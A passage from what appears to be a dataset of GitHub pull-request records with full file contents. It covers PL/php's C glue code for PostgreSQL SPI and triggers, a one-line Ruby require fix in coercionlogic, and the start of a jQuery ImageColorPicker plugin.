representation of a zval.\n *\n * All return values, except those that are NULL, are palloc'ed in the current\n * memory context and must be freed by the caller.\n *\n * If the do_array parameter is false, then array values will not be converted\n * and an error will be raised instead.\n *\n * If the null_ok parameter is true, we will return NULL for a NULL zval.\n * Otherwise we raise an error.\n */\nchar *\nplphp_zval_get_cstring(zval *val, bool do_array, bool null_ok)\n{\n\tchar *ret;\n\n\tif (!val)\n\t{\n\t\tif (null_ok)\n\t\t\treturn NULL;\n\t\telse\n\t\t\telog(ERROR, \"invalid zval pointer\");\n\t}\n\n\tswitch (Z_TYPE_P(val))\n\t{\n\t\tcase IS_NULL:\n\t\t\treturn NULL;\n\t\tcase IS_LONG:\n\t\t\tret = palloc(64);\n\t\t\tsnprintf(ret, 64, \"%ld\", Z_LVAL_P(val));\n\t\t\tbreak;\n\t\tcase IS_DOUBLE:\n\t\t\tret = palloc(64);\n\t\t\tsnprintf(ret, 64, \"%f\", Z_DVAL_P(val));\n\t\t\tbreak;\n\t\tcase IS_BOOL:\n\t\t\tret = palloc(8);\n\t\t\tsnprintf(ret, 8, \"%s\", Z_BVAL_P(val) ? \"true\": \"false\");\n\t\t\tbreak;\n\t\tcase IS_STRING:\n\t\t\tret = palloc(Z_STRLEN_P(val) + 1);\n\t\t\tsnprintf(ret, Z_STRLEN_P(val) + 1, \"%s\", \n\t\t\t\t\t Z_STRVAL_P(val));\n\t\t\tbreak;\n\t\tcase IS_ARRAY:\n\t\t\tif (!do_array)\n\t\t\t\telog(ERROR, \"can't stringize array value\");\n\t\t\tret = plphp_convert_to_pg_array(val);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/* keep compiler quiet */\n\t\t\tret = NULL;\n\t\t\telog(ERROR, \"can't stringize value of type %d\", val->type);\n\t}\n\n\treturn ret;\n}\n\n/*\n * plphp_build_tuple_argument\n *\n * Build a PHP array from all attributes of a given tuple\n */\nzval *\nplphp_build_tuple_argument(HeapTuple tuple, TupleDesc tupdesc)\n{\n\tint\t\t\ti;\n\tzval\t   *output;\n\tDatum\t\tattr;\n\tbool\t\tisnull;\n\tchar\t   *attname;\n\tchar\t   *outputstr;\n\tHeapTuple\ttypeTup;\n\tOid\t\t\ttypoutput;\n\tOid\t\t\ttypioparam;\n\n\tMAKE_STD_ZVAL(output);\n\tarray_init(output);\n\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\t/* Ignore dropped attributes */\n\t\tif (tupdesc->attrs[i]->attisdropped)\n\t\t\tcontinue;\n\n\t\t/* Get the attribute name */\n\t\tattname = tupdesc->attrs[i]->attname.data;\n\n\t\t/* Get the attribute value */\n\t\tattr = heap_getattr(tuple, i + 1, tupdesc, &isnull);\n\n\t\t/* If it is null, set it to undef in the hash. */\n\t\tif (isnull)\n\t\t{\n\t\t\tadd_next_index_unset(output);\n\t\t\tcontinue;\n\t\t}\n\n\t\t/*\n\t\t * Lookup the attribute type in the syscache for the output function\n\t\t */\n\t\ttypeTup = SearchSysCache(TYPEOID,\n\t\t\t\t\t\t\t\t ObjectIdGetDatum(tupdesc->attrs[i]->atttypid),\n\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\tif (!HeapTupleIsValid(typeTup))\n\t\t{\n\t\t\telog(ERROR, \"cache lookup failed for type %u\",\n\t\t\t\t tupdesc->attrs[i]->atttypid);\n\t\t}\n\n\t\ttypoutput = ((Form_pg_type) GETSTRUCT(typeTup))->typoutput;\n\t\ttypioparam = getTypeIOParam(typeTup);\n\t\tReleaseSysCache(typeTup);\n\n\t\t/* Append the attribute name and the value to the list. */\n\t\toutputstr =\n\t\t\tDatumGetCString(OidFunctionCall3(typoutput, attr,\n\t\t\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(typioparam),\n\t\t\t\t\t\t\t\t\t\t\t Int32GetDatum(tupdesc->attrs[i]->atttypmod)));\n\t\tadd_assoc_string(output, attname, outputstr, 1);\n\t\tpfree(outputstr);\n\t}\n\n\treturn output;\n}\n\n/*\n * plphp_modify_tuple\n * \t\tReturn the modified NEW tuple, for use as return value in a BEFORE\n * \t\ttrigger.  outdata must point to the $_TD variable from the PHP\n * \t\tfunction.\n *\n * The tuple will be allocated in the current memory context and must be freed\n * by the caller.\n *\n * XXX Possible optimization: make this a global context that is not deleted,\n * but only reset each time this function is called.  (Think about triggers\n * calling other triggers though).\n */\nHeapTuple\nplphp_modify_tuple(zval *outdata, TriggerData *tdata)\n{\n\tTupleDesc\ttupdesc;\n\tHeapTuple\trettuple;\n\tzval\t   *newtup;\n\tzval\t  **element;\n\tchar\t  **vals;\n\tint\t\t\ti;\n\tAttInMetadata *attinmeta;\n\tMemoryContext tmpcxt,\n\t\t\t\t  oldcxt;\n\n\ttmpcxt = AllocSetContextCreate(CurTransactionContext,\n\t\t\t\t\t\t\t\t   \"PL/php NEW context\",\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MINSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_INITSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MAXSIZE);\n\n\toldcxt = MemoryContextSwitchTo(tmpcxt);\n\n\t/* Fetch \"new\" from $_TD */\n\tif (zend_hash_find(outdata->value.ht,\n\t\t\t\t\t   \"new\", strlen(\"new\") + 1,\n\t\t\t\t\t   (void **) &element) != SUCCESS)\n\t\telog(ERROR, \"$_TD['new'] not found\");\n\n\tif (Z_TYPE_P(element[0]) != IS_ARRAY)\n\t\telog(ERROR, \"$_TD['new'] must be an array\");\n\tnewtup = element[0];\n\n\t/* Fetch the tupledesc and metadata */\n\ttupdesc = tdata->tg_relation->rd_att;\n\tattinmeta = TupleDescGetAttInMetadata(tupdesc);\n\n\ti = zend_hash_num_elements(Z_ARRVAL_P(newtup));\n\n\tif (tupdesc->natts > i)\n\t\tereport(ERROR,\n\t\t\t\t(errmsg(\"insufficient number of keys in $_TD['new']\"),\n\t\t\t\t errdetail(\"At least %d expected, %d found.\",\n\t\t\t\t\t\t   tupdesc->natts, i)));\n\n\tvals = (char **) palloc(tupdesc->natts * sizeof(char *));\n\n\t/*\n\t * For each attribute in the tupledesc, get its value from newtup and put\n\t * it in an array of cstrings.\n\t */\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\tzval  **element;\n\t\tchar   *attname = NameStr(tupdesc->attrs[i]->attname);\n\n\t\t/* Fetch the attribute value from the zval */\n\t\tif (zend_symtable_find(newtup->value.ht, attname, strlen(attname) + 1,\n\t\t\t\t\t\t   \t   (void **) &element) != SUCCESS)\n\t\t\telog(ERROR, \"$_TD['new'] does not contain attribute \\\"%s\\\"\",\n\t\t\t\t attname);\n\n\t\tvals[i] = plphp_zval_get_cstring(element[0], true, true);\n\t}\n\n\t/* Return to the original context so that the new tuple will survive */\n\tMemoryContextSwitchTo(oldcxt);\n\n\t/* Build the tuple */\n\trettuple = BuildTupleFromCStrings(attinmeta, vals);\n\n\t/* Free the memory used */\n\tMemoryContextDelete(tmpcxt);\n\n\treturn rettuple;\n}\n\n/*\n * vim:ts=4:sw=4:cino=(0\n */\n", "plphp_spi.c": "/**********************************************************************\n * plphp_spi.c - SPI-related functions for PL/php.\n *\n * This software is copyright (c) Command Prompt Inc.\n *\n * The author hereby grants permission to use, copy, modify,\n * distribute, and license this software and its documentation for any\n * purpose, provided that existing copyright notices are retained in\n * all copies and that this notice is included verbatim in any\n * distributions. No written agreement, license, or royalty fee is\n * required for any of the authorized uses.  Modifications to this\n * software may be copyrighted by their author and need not follow the\n * licensing terms described here, provided that the new terms are\n * clearly indicated on the first page of each file where they apply.\n *\n * IN NO EVENT SHALL THE AUTHOR OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n * FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n * ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n * DERIVATIVES THEREOF, EVEN IF THE AUTHOR HAVE BEEN ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * THE AUTHOR AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\n * NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS,\n * AND THE AUTHOR AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\n * MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n *\n * IDENTIFICATION\n *\t\t$Id$\n *********************************************************************\n */\n\n#include \"postgres.h\"\n#include \"plphp_spi.h\"\n#include \"plphp_io.h\"\n\n/* PHP stuff */\n#include \"php.h\"\n\n/* PostgreSQL stuff */\n#include \"access/xact.h\"\n#include \"access/htup_details.h\"\n#include \"miscadmin.h\"\n\n#undef DEBUG_PLPHP_MEMORY\n\n#ifdef DEBUG_PLPHP_MEMORY\n#define REPORT_PHP_MEMUSAGE(where) \\\n\telog(NOTICE, \"PHP mem usage: \u00ab%s\u00bb: %u\", where, AG(allocated_memory));\n#else\n#define REPORT_PHP_MEMUSAGE(a) \n#endif\n\n/* resource type Id for SPIresult */\nint SPIres_rtype;\n\n/* SPI function table */\nzend_function_entry spi_functions[] =\n{\n\tZEND_FE(spi_exec, NULL)\n\tZEND_FE(spi_fetch_row, NULL)\n\tZEND_FE(spi_processed, NULL)\n\tZEND_FE(spi_status, NULL)\n\tZEND_FE(spi_rewind, NULL)\n\tZEND_FE(pg_raise, NULL)\n\tZEND_FE(return_next, NULL)\n\t{NULL, NULL, NULL}\n};\n\n/* SRF support: */\nFunctionCallInfo current_fcinfo = NULL;\nTupleDesc current_tupledesc = NULL;\nAttInMetadata *current_attinmeta = NULL;\nMemoryContext current_memcxt = NULL;\nTuplestorestate *current_tuplestore = NULL;\n\n\n/* A symbol table to save for return_next for the RETURNS TABLE case */\nHashTable *saved_symbol_table;\n\nstatic zval *get_table_arguments(AttInMetadata *attinmeta);\n\n/*\n * spi_exec\n * \t\tPL/php equivalent to SPI_exec().\n *\n * This function creates and return a PHP resource which describes the result\n * of a user-specified query.  If the query returns tuples, it's possible to\n * retrieve them by using spi_fetch_row.\n *\n * Receives one or two arguments.  The mandatory first argument is the query\n * text.  The optional second argument is the tuple limit.\n *\n * Note that just like PL/Perl, we start a subtransaction before invoking the\n * SPI call, and automatically roll it back if the call fails.\n */\nZEND_FUNCTION(spi_exec)\n{\n\tchar\t   *query;\n\tint\t\t\tquery_len;\n\tlong\t\tstatus;\n\tlong\t\tlimit;\n\tphp_SPIresult *SPIres;\n\tint\t\t\tspi_id;\n\tMemoryContext oldcontext = CurrentMemoryContext;\n\tResourceOwner oldowner = CurrentResourceOwner;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_exec called\");\n\n\tif ((ZEND_NUM_ARGS() > 2) || (ZEND_NUM_ARGS() < 1))\n\t\tWRONG_PARAM_COUNT;\n\n\t/* Parse arguments */\n\tif (ZEND_NUM_ARGS() == 2)\n\t{\n\t\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"sl\",\n\t\t\t\t\t\t\t\t  &query, &query_len, &limit) == FAILURE)\n\t\t{\n\t\t\tzend_error(E_WARNING, \"Can not parse parameters in %s\",\n\t\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\t\tRETURN_FALSE;\n\t\t}\n\t}\n\telse if (ZEND_NUM_ARGS() == 1)\n\t{\n\t\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s\",\n\t\t\t\t\t\t\t\t  &query, &query_len) == FAILURE)\n\t\t{\n\t\t\tzend_error(E_WARNING, \"Can not parse parameters in %s\",\n\t\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\t\tRETURN_FALSE;\n\t\t}\n\t\tlimit = 0;\n\t}\n\telse\n\t{\n\t\tzend_error(E_WARNING, \"Incorrect number of parameters to %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tBeginInternalSubTransaction(NULL);\n\tMemoryContextSwitchTo(oldcontext);\n\n\t/* Call SPI */\n\tPG_TRY();\n\t{\n\t\tstatus = SPI_exec(query, limit);\n\n\t\tReleaseCurrentSubTransaction();\n\t\tMemoryContextSwitchTo(oldcontext);\n\t\tCurrentResourceOwner = oldowner;\n\n\t\t/*\n\t\t * AtEOSubXact_SPI() should not have popped any SPI context, but just\n\t\t * in case it did, make sure we remain connected.\n\t\t */\n\t\tSPI_restore_connection();\n\t}\n\tPG_CATCH();\n\t{\n\t\tErrorData\t*edata;\n\n\t\t/* Save error info */\n\t\tMemoryContextSwitchTo(oldcontext);\n\t\tedata = CopyErrorData();\n\t\tFlushErrorState();\n\n\t\t/* Abort the inner trasaction */\n\t\tRollbackAndReleaseCurrentSubTransaction();\n\t\tMemoryContextSwitchTo(oldcontext);\n\t\tCurrentResourceOwner = oldowner;\n\n\t\t/*\n\t\t * If AtEOSubXact_SPI() popped any SPI context of the subxact, it will\n\t\t * have left us in a disconnected state.  We need this hack to return\n\t\t * to connected state.\n\t\t */\n\t\tSPI_restore_connection();\n\n\t\t/* bail PHP out */\n\t\tzend_error(E_ERROR, \"%s\", strdup(edata->message));\n\n\t\t/* Can't get here, but keep compiler quiet */\n\t\treturn;\n\t}\n\tPG_END_TRY();\n\n\t/* This malloc'ed chunk is freed in php_SPIresult_destroy */\n\tSPIres = (php_SPIresult *) malloc(sizeof(php_SPIresult));\n\tif (!SPIres)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_OUT_OF_MEMORY),\n\t\t\t\t errmsg(\"out of memory\")));\n\n\t/* Prepare the return resource */\n\tSPIres->SPI_processed = SPI_processed;\n\tif (status == SPI_OK_SELECT)\n\t\tSPIres->SPI_tuptable = SPI_tuptable;\n\telse\n\t\tSPIres->SPI_tuptable = NULL;\n\tSPIres->current_row = 0;\n\tSPIres->status = status;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_exec: creating resource\");\n\n\t/* Register the resource to PHP so it will be able to free it */\n\tspi_id = ZEND_REGISTER_RESOURCE(return_value, (void *) SPIres,\n\t\t\t\t\t \t\t\t\tSPIres_rtype);\n\n\tREPORT_PHP_MEMUSAGE(\"spi_exec: returning\");\n\n\tRETURN_RESOURCE(spi_id);\n}\n\n/*\n * spi_fetch_row\n * \t\tGrab a row from a SPI result (from spi_exec).\n *\n * This function receives a resource Id and returns a PHP hash representing the\n * next tuple in the result, or false if no tuples remain.\n *\n * XXX Apparently this is leaking memory.  How do we tell PHP to free the tuple\n * once the user is done with it?\n */\nZEND_FUNCTION(spi_fetch_row)\n{\n\tzval\t   *row = NULL;\n\tzval\t  **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_fetch_row: called\");\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Can not parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tif (SPIres->status != SPI_OK_SELECT)\n\t{\n\t\tzend_error(E_WARNING, \"SPI status is not good\");\n\t\tRETURN_FALSE;\n\t}\n\n\tif (SPIres->current_row < SPIres->SPI_processed)\n\t{\n\t\trow = plphp_zval_from_tuple(SPIres->SPI_tuptable->vals[SPIres->current_row],\n\t\t\t  \t\t\t\t\t\tSPIres->SPI_tuptable->tupdesc);\n\t\tSPIres->current_row++;\n\n\t\t*return_value = *row;\n\n\t\tzval_copy_ctor(return_value);\n\t\tzval_dtor(row);\n\t\tFREE_ZVAL(row);\n\n\t}\n\telse\n\t\tRETURN_FALSE;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_fetch_row: finish\");\n}\n\n/*\n * spi_processed\n * \t\tReturn the number of tuples returned in a spi_exec call.\n */\nZEND_FUNCTION(spi_processed)\n{\n\tzval\t   **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_processed: start\");\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tREPORT_PHP_MEMUSAGE(\"spi_processed: finish\");\n\n\tRETURN_LONG(SPIres->SPI_processed);\n}\n\n/*\n * spi_status\n * \t\tReturn the status returned by a previous spi_exec call, as a string.\n */\nZEND_FUNCTION(spi_status)\n{\n\tzval\t   **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_status: start\");\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tREPORT_PHP_MEMUSAGE(\"spi_status: finish\");\n\n\t/*\n\t * XXX The cast is wrong, but we use it to prevent a compiler warning.\n\t * Note that the second parameter to RETURN_STRING is \"duplicate\", so\n\t * we are returning a copy of the string anyway.\n\t */\n\tRETURN_STRING((char *) SPI_result_code_string(SPIres->status), true);\n}\n\n/*\n * spi_rewind\n * \t\tResets the internal counter for spi_fetch_row, so the next\n * \t\tspi_fetch_row call will start fetching from the beginning.\n */\nZEND_FUNCTION(spi_rewind)\n{\n\tzval\t   **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tSPIres->current_row = 0;\n\n\tRETURN_NULL();\n}\n/*\n * pg_raise\n *      User-callable function for sending messages to the Postgres log.\n */\nZEND_FUNCTION(pg_raise)\n{\n\tchar       *level = NULL,\n\t\t\t   *message = NULL;\n\tint         level_len,\n\t\t\t\tmessage_len,\n\t\t\t\televel = 0;\n\n\tif (ZEND_NUM_ARGS() != 2)\n\t{\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t errmsg(\"wrong number of arguments to %s\", \"pg_raise\")));\n\t}\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"ss\",\n\t\t\t\t\t\t\t  &level, &level_len,\n\t\t\t\t\t\t\t  &message, &message_len) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t}\n\n\tif (strcasecmp(level, \"ERROR\") == 0)\n\t\televel = E_ERROR;\n\telse if (strcasecmp(level, \"WARNING\") == 0)\n\t\televel = E_WARNING;\n\telse if (strcasecmp(level, \"NOTICE\") == 0)\n\t\televel = E_NOTICE;\n\telse\n\t\tzend_error(E_ERROR, \"incorrect log level\");\n\n\tzend_error(elevel, \"%s\", message);\n}\n\n/*\n * return_next\n * \t\tAdd a tuple to the current tuplestore\n */\nZEND_FUNCTION(return_next)\n{\n\tMemoryContext\toldcxt;\n\tzval\t   *param;\n\tHeapTuple\ttup;\n\tReturnSetInfo *rsi;\n\t\n\t/*\n\t * Disallow use of return_next inside non-SRF functions\n\t */\n\tif (current_fcinfo == NULL || current_fcinfo->flinfo == NULL || \n\t\t!current_fcinfo->flinfo->fn_retset)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"cannot use return_next in functions not declared to \"\n\t\t\t\t\t\t\"return a set\")));\n\n\trsi = (ReturnSetInfo *) current_fcinfo->resultinfo;\n\n\tAssert(current_tupledesc != NULL);\n\tAssert(rsi != NULL);\n\t\n\tif (ZEND_NUM_ARGS() > 1)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t errmsg(\"wrong number of arguments to %s\", \"return_next\")));\n\n\tif (ZEND_NUM_ARGS() == 0)\n\t{\n\t\t/* \n\t\t * Called from the function declared with RETURNS TABLE \n\t     */\n\t\tparam = get_table_arguments(current_attinmeta);\n\t}\n\telse if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"z\",\n\t\t\t\t\t\t\t  &param) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t}\n\n\t/* Use the per-query context so that the tuplestore survives */\n\toldcxt = MemoryContextSwitchTo(rsi->econtext->ecxt_per_query_memory);\n\n\t/* Form the tuple */\n\ttup = plphp_srf_htup_from_zval(param, current_attinmeta, current_memcxt);\n\n\t/* First call?  Create the tuplestore. */\n\tif (!current_tuplestore)\n\t\tcurrent_tuplestore = tuplestore_begin_heap(true, false, work_mem);\n\n\t/* Save the tuple and clean up */\n\ttuplestore_puttuple(current_tuplestore, tup);\n\theap_freetuple(tup);\n\n\tMemoryContextSwitchTo(oldcxt);\n}\n\n/*\n * php_SPIresult_destroy\n * \t\tFree the resources allocated by a spi_exec call.\n *\n * This is automatically called when the resource goes out of scope\n * or is overwritten by another resource.\n */\nvoid\nphp_SPIresult_destroy(zend_rsrc_list_entry *rsrc TSRMLS_DC)\n{\n\tphp_SPIresult *res = (php_SPIresult *) rsrc->ptr;\n\n\tif (res->SPI_tuptable != NULL)\n\t\tSPI_freetuptable(res->SPI_tuptable);\n\n\tfree(res);\n}\n\n/* Return an array of TABLE argument values for return_next */\nstatic\nzval *get_table_arguments(AttInMetadata *attinmeta)\n{\n\tzval   *retval = NULL;\n\tint\t\ti;\n\t\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\tAssert(attinmeta->tupdesc);\n\tAssert(saved_symbol_table != NULL);\n\t/* Extract OUT argument names */\n\tfor (i = 0; i < attinmeta->tupdesc->natts; i++)\n\t{\n\t\tzval \t**val;\n\t\tchar \t*attname;\n\n\t\tAssert(!attinmeta->tupdesc->attrs[i]->attisdropped);\n\n\t\tattname = NameStr(attinmeta->tupdesc->attrs[i]->attname);\n\n\t\tif (zend_hash_find(saved_symbol_table, \n\t\t\t\t\t\t   attname, strlen(attname) + 1,\n\t\t\t\t\t\t   (void **)&val) == SUCCESS)\n\n\t\t\tadd_next_index_zval(retval, *val);\n\t\telse\n\t\t\tadd_next_index_unset(retval);\n\t} \n\treturn retval;\n}\n\n\n/*\n * vim:ts=4:sw=4:cino=(0\n */\n"}}
{"repo": "binarylogic/coercionlogic", "pr_number": 1, "title": "Fix: require the correct file", "state": "open", "merged_at": null, "additions": 1, "deletions": 1, "files_changed": ["lib/coercionlogic.rb"], "files_before": {"lib/coercionlogic.rb": "require 'activerecord'\n\nmodule Coercionlogic\n  def write_attribute_with_coercion(attr_name, value)\n    value = nil if value.is_a?(String) && value.blank?\n    write_attribute_without_coercion(attr_name, value)\n  end\nend\n\nActiveRecord::Base.class_eval do\n  include Coercionlogic\n  alias_method_chain :write_attribute, :coercion\nend"}, "files_after": {"lib/coercionlogic.rb": "require 'active_record'\n\nmodule Coercionlogic\n  def write_attribute_with_coercion(attr_name, value)\n    value = nil if value.is_a?(String) && value.blank?\n    write_attribute_without_coercion(attr_name, value)\n  end\nend\n\nActiveRecord::Base.class_eval do\n  include Coercionlogic\n  alias_method_chain :write_attribute, :coercion\nend"}}
{"repo": "Skarabaeus/ImageColorPicker", "pr_number": 6, "title": "Unbind load event on destroy", "state": "open", "merged_at": null, "additions": 3, "deletions": 1, "files_changed": ["dist/jquery.ImageColorPicker.js", "dist/jquery.ImageColorPicker.min.js", "src/ImageColorPicker.js"], "files_before": {"dist/jquery.ImageColorPicker.js": "/*!\n* jQuery ImageColorPicker Plugin v0.2\n* http://github.com/Skarabaeus/ImageColorPicker\n*\n* Copyright 2010, Stefan Siebel\n* Licensed under the MIT license.\n* http://github.com/Skarabaeus/ImageColorPicker/MIT-LICENSE.txt\n* \n* Released under the MIT\n*\n* Date: Tue May 17 11:20:16 2011 -0700\n*/\n(function(){\nvar uiImageColorPicker = function(){\n\n\tvar _d2h = function(d) {\n\t\tvar result;\n\t\tif (! isNaN( parseInt(d) ) ) {\n\t\t\tresult = parseInt(d).toString(16);\n\t\t} else {\n\t\t\tresult = d;\n\t\t}\n\n\t\tif (result.length === 1) {\n\t\t\tresult = \"0\" + result;\n\t\t}\n\t\treturn result;\n\t};\n\n\tvar _h2d = function(h) {\n\t\treturn parseInt(h,16);\n\t};\n\n\tvar _createImageColorPicker = function(widget) {\n\t\t// store 2D context in widget for later access\n\t\twidget.ctx = null;\n\n\t\t// rgb\n\t\twidget.color = [0, 0, 0];\n\n\t\t// create additional DOM elements.\n\t\twidget.$canvas = $('<canvas class=\"ImageColorPickerCanvas\"></canvas>');\n\n\t\t// add them to the DOM\n\t\twidget.element.wrap('<div class=\"ImageColorPickerWrapper\"></div>');\n\t\twidget.$wrapper = widget.element.parent();\n\t\twidget.$wrapper.append(widget.$canvas);\n\n\t\tif (typeof(widget.$canvas.get(0).getContext) === 'function') { // FF, Chrome, ...\n\t\t\twidget.ctx = widget.$canvas.get(0).getContext('2d');\n\n\t\t// this does not work yet!\n\t\t} else {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Can't get canvas context. Use \"\n\t\t\t\t\t+ \"Firefox, Chrome or include excanvas to your project.\");\n\t\t\t}\n\n\t\t}\n\n\t\t// draw the image in the canvas\n\t\tvar img = new Image();\n\t\timg.src = widget.element.attr(\"src\");\n\t\twidget.$canvas.attr(\"width\", img.width);\n\t\twidget.$canvas.attr(\"height\", img.height);\n\t\twidget.ctx.drawImage(img, 0, 0);\n\n\t\t// get the image data.\n\t\ttry {\n\t\t\ttry {\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t} catch (e1) {\n\t\t\t\tnetscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t}\n\t\t} catch (e2) {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Unable to access image data. \"\n\t\t\t\t\t+ \"This could be either due \"\n\t\t\t\t\t+ \"to the browser you are using (IE doesn't work) or image and script \"\n\t\t\t\t\t+ \"are saved on different servers or you run the script locally. \");\n\t\t\t}\n\t\t}\n\n\t\t// hide the original image\n\t\twidget.element.hide();\n\n\t\t// for usage in events\n\t\tvar that = widget;\n\n\t\twidget.$canvas.bind(\"mousemove\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateCurrentColor( that, color.red, color.green, color.blue );\n\t\t});\n\n\t\twidget.$canvas.bind(\"click\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateSelectedColor( that, color.red, color.green, color.blue );\n\t\t\tthat._trigger(\"afterColorSelected\", 0, that.selectedColor());\n\t\t});\n\n\t\twidget.$canvas.bind(\"mouseleave\", function(e){\n\t\t\tupdateCurrentColor(that, 255, 255, 255);\n\t\t});\n\n\t\t// hope that helps to prevent memory leaks\n\t\t$(window).unload(function(e){\n\t\t\tthat.destroy();\n\t\t});\n\t};\n\n  // for pageX and pageY, determine image coordinates using offset\n  var imageCoordinates = function( widget, pageX, pageY ) {\n    var offset = widget.$canvas.offset();\n\n    return { x: Math.round( pageX - offset.left ),\n             y: Math.round( pageY - offset.top ) };\n  }\n\n  // lookup color values for point [x,y] location in image\n  var lookupColor = function( imageData, point) 